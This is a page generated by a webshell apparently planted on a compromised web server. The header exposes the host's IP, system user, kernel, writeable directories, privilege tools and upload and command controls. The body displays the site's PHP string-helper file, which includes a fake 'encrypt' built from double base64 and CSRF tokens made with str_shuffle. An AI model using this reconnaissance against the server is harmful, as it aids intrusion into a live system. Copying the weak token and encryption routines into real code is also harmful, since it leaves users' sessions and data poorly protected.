403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pundarikanail.com-bk/site/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pundarikanail.com-bk/site/helpers/str_helper.php
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
function get_cauhinh()
{
	$filename 	= ROOT_SITE."cache/cauhinh.php";
	$ses_config = isset($_SESSION['ses_config'])? $_SESSION['ses_config'] : ''; 
	if( empty($ses_config) )
	{
		$data = read_file($filename);
		$ses_config = json_decode($data);
		$_SESSION['ses_config'] = $ses_config;
	}
	
	return $ses_config;
}
function show_tags($list_tags="",$type='product')
{
	if(empty($list_tags)) return $list_tags ;
	$arr_tag = explode(',',$list_tags);
	$str = "";
	foreach($arr_tag as $keyname)
	{
		$keyname = trim($keyname);
		if($type=='product')
			$links = site.'tu-khoa/'.alias($keyname).'.html';
		elseif($type=='news')
			$links = site.'tim-tin/'.alias($keyname).'.html';
		else
			$links = site.'tu-khoa/'.alias($keyname).'.html';
			
    	$str .= $str? ', <a href="'.$links.'" title="'.$keyname.'">'.$keyname.'</a>':'<a href="'.$links.'" title="'.$keyname.'">'.$keyname.'</a>';
    }
	return $str;
}
function get_ses_login()
{
	$ses_object = isset($_SESSION['ses_login'])? (!empty($_SESSION['ses_login']) ? $_SESSION['ses_login'] : array()) : array() ;
	return $ses_object;
}
function get_ses_custumer()
{
	$ses_custumer = isset($_SESSION['customer'])? (!empty($_SESSION['customer']) ? $_SESSION['customer'] : array()) : array() ;
	return $ses_custumer;
}
function mk_code($kyhieu='DH',$id=0,$num=6)
{
	$code 	= "000000" ;
	$len 	= strlen($id);
	$code 	= substr($code,0,($num-$len));
	$str 	= $kyhieu.$code.$id;
	return $str;
}
function to_number($str)
{
	$num = preg_replace('/[^0-9]/', '', $str);
	return (int) $num ;
}
function to_phone($str)
{
	$num = preg_replace('/[^0-9]/', '', $str);
	return (string) $num ;
}
function fm_phone($phone='')
{
	if(empty($phone)) return '';
	
	$pattern = '/([^0-9])/i';
	$phone = preg_replace($pattern, '', $phone);
	//0914 247 322
	$lenght = strlen($phone);
	if($lenght==10)
	{
		$dauso 	= substr($phone,0,4);
		$soke 	= substr($phone,4,3);
		$socuoi	= substr($phone,7,3);
	}
	elseif($lenght==11)
	{
		$dauso 	= substr($phone,0,5);
		$soke 	= substr($phone,4,3);
		$socuoi 	= substr($phone,7,3);
	}
	else
	{
		return $phone;
	}
	
	$phone = $dauso.' '.$soke.' '.$socuoi;
	return $phone ;
	
}
/* string function */
function truncate($text, $length, $suffix = '&hellip;', $isHTML = true)
{
    $i = 0;
    $simpleTags=array('br'=>true,'hr'=>true,'input'=>true,'image'=>true,'link'=>true,'meta'=>true);
    $tags = array();
    if($isHTML){
        preg_match_all('/<[^>]+>([^<]*)/', $text, $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        foreach($m as $o){
            if($o[0][1] - $i >= $length)
                break;
            $t = substr(strtok($o[0][0], " \t\n\r\0\x0B>"), 1);
            // test if the tag is unpaired, then we mustn't save them
            if($t[0] != '/' && (!isset($simpleTags[$t])))
                $tags[] = $t;
            elseif(end($tags) == substr($t, 1))
                array_pop($tags);
            $i += $o[1][1] - $o[0][1];
        }
    }

    // output without closing tags
    $output = substr($text, 0, $length = min(strlen($text),  $length + $i));
    // closing tags
    $output2 = (count($tags = array_reverse($tags)) ? '</' . implode('></', $tags) . '>' : '');

    // Find last space or HTML tag (solving problem with last space in HTML tag eg. <span class="new">)
    $pos = preg_split('/<.*>| /', $output, -1, PREG_SPLIT_OFFSET_CAPTURE);
	$pos = end($pos);
	$pos = (int)end($pos);
	
    // Append closing tags to output
    $output.=$output2;

    // Get everything until last space
    $one = substr($output, 0, $pos);
    // Get the rest
    $two = substr($output, $pos, (strlen($output) - $pos));
    // Extract all tags from the last bit
    preg_match_all('/<(.*?)>/s', $two, $tags);
    // Add suffix if needed
    if (strlen($text) > $length) { $one .= $suffix; }
    // Re-attach tags
    $output = $one . implode($tags[0]);

    //added to remove  unnecessary closure
    $output = str_replace('</!-->','',$output); 

    return $output;
}	 
function str_limit($str, $n = 300)
{
    if (strlen($str) <= $n)
    {
        return $str;
    }
    
	 $limit = strpos($str,' ', $n) ;
     while($limit==false&&$n>1)
     {    $n--;
         $limit = strpos($str,' ', $n) ;
     }
	 $limit = $limit ? $limit : $n ;
	 $out = substr($str, 0, $limit) ;
	 return $out.' ...' ;
}
function get_id_from_alias($alias='')
{
	$str = str_replace('.html','',$alias);
	$arr = explode('-',$str);
	$id = (int)end($arr);
	return $id;	
}
function alias($str)
{
	$str = trim($str);
	$str = preg_replace("/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/", 'a', $str);
	$str = preg_replace("/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/", 'e', $str);
	$str = preg_replace("/(ì|í|ị|ỉ|ĩ)/", 'i', $str);
	$str = preg_replace("/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/", 'o', $str);
	$str = preg_replace("/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/", 'u', $str);
	$str = preg_replace("/(ỳ|ý|ỵ|ỷ|ỹ)/", 'y', $str);
	$str = preg_replace("/(đ)/", 'd', $str);
	$str = preg_replace("/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/", 'A', $str);
	$str = preg_replace("/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/", 'E', $str);
	$str = preg_replace("/(Ì|Í|Ị|Ỉ|Ĩ)/", 'I', $str);
	$str = preg_replace("/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/", 'O', $str);
	$str = preg_replace("/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/", 'U', $str);
	$str = preg_replace("/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/", 'Y', $str);
	$str = preg_replace("/(Đ)/", 'D', $str);
	$str = preg_replace("/( )/", '-', $str);
	$str = preg_replace("/(\'|\"|`|&|,|\.|\?)/", '', $str);
	$str = preg_replace("/(---|--)/", '-', $str);
	
	$pattern = '/([^a-z0-9\-\._])/i';
	$str = preg_replace($pattern, '', $str);
	
	$str = strtolower($str);
	return $str;
}	

function kodau($str)
{
	$str = trim($str);
	$str = preg_replace("/(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)/", 'a', $str);
	$str = preg_replace("/(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)/", 'e', $str);
	$str = preg_replace("/(ì|í|ị|ỉ|ĩ)/", 'i', $str);
	$str = preg_replace("/(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)/", 'o', $str);
	$str = preg_replace("/(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)/", 'u', $str);
	$str = preg_replace("/(ỳ|ý|ỵ|ỷ|ỹ)/", 'y', $str);
	$str = preg_replace("/(đ)/", 'd', $str);
	$str = preg_replace("/(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)/", 'A', $str);
	$str = preg_replace("/(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)/", 'E', $str);
	$str = preg_replace("/(Ì|Í|Ị|Ỉ|Ĩ)/", 'I', $str);
	$str = preg_replace("/(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)/", 'O', $str);
	$str = preg_replace("/(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)/", 'U', $str);
	$str = preg_replace("/(Ỳ|Ý|Ỵ|Ỷ|Ỹ)/", 'Y', $str);
	$str = preg_replace("/(Đ)/", 'D', $str);
	$str = preg_replace("/( )/", '-', $str);
	$str = preg_replace("/(\'|\"|`|&|,|\.|\?)/", '', $str);
	$str = preg_replace("/(---|--)/", '-', $str);
	
	$pattern = '/([^a-z0-9\-\._])/i';
	$str = preg_replace($pattern, '', $str);
		
	$str = strtolower($str);
	return $str;
}

function pricevn($price,$unit="₫")
{
	if(empty($price)) return 0;
	$price = number_format(to_number($price), 0,',',".");
	return $price.$unit;
}

function phantrang($totalrow,$curpage,$pageto,$maxrow=5,$maxpage=3)
{
	$paging = "";
	if($totalrow % $maxrow == 0) {
		$totalpage = (int)($totalrow/$maxrow);
	} else {
		$totalpage = (int)($totalrow /$maxrow)+ 1;
	}
	if($totalrow > $maxrow ){
		$start = 1;
		$end   = 1;
		$navi  = "" ;
		
		//$list = "Page: ".$curpage ." in ".$totalpage ."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
		$list = "" ;
		for($i=0;$i<=$totalpage;$i++){
			if(($i > ((int)(($curpage - 1)/$maxpage))*$maxpage)&&($i <= ((int)(($curpage -1)/$maxpage + 1))*$maxpage)){
				if($start ==1 )$start = $i ;
					if($i == $curpage){
						$navi .= "<strong>".$i ."</strong>";
					}else {
						$navi .= " <a href='".$pageto."/$i'>$i</a> ";
					}
					$end = $i ;
				}
			}
			//khai báo preview
			if($curpage > $maxpage){
				$preview = "<a href='".$pageto."/".($start - 1)."'>«</a>";
			}else{
				$preview = "<span>«</span>" ;
			}
			// khai báo next
			$i = ((int)(($curpage -1)/$maxpage + 1))*$maxpage;
			if($i < $totalpage){
			$next = "<a href='".$pageto."/".($end + 1)."'>»</a>";
			} else {
			$next = "<span>»</span>" ;
		}
		$paging .= $list . $preview . $navi .$next ;
	}
	return $paging ;
}

/* encode function */
function create_csrf()
{
	$str = random_string(32);
	return encrypt($str);
}
function create_code(){
	$str = random_string(32);
	return base64_encode($str);
}
function random_string( $length ) {
	$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	return substr(str_shuffle($chars),0,$length);
}
function rand_string($size){
   $string = "aAbBcCdDeEeFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVmWxXzYyZ";
   $rand_str = "";
   for ($i=0; $i<$size; $i++)
   {
	   $rand_str .= substr($string, rand(0, strlen($string)-1), 1);
   }
   return $rand_str;
}
function encrypt($str){
	for($i = 0; $i <2; $i ++){
		$str = base64_encode(base64_encode($str));
	}
	$str = rand_string(5).$str;
	return $str;
}
function decrypt($str){
	$str=substr($str,5,strlen($str));
	for($i = 0; $i < 2; $i ++){
		$str = base64_decode(base64_decode($str));
	}
	return $str;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit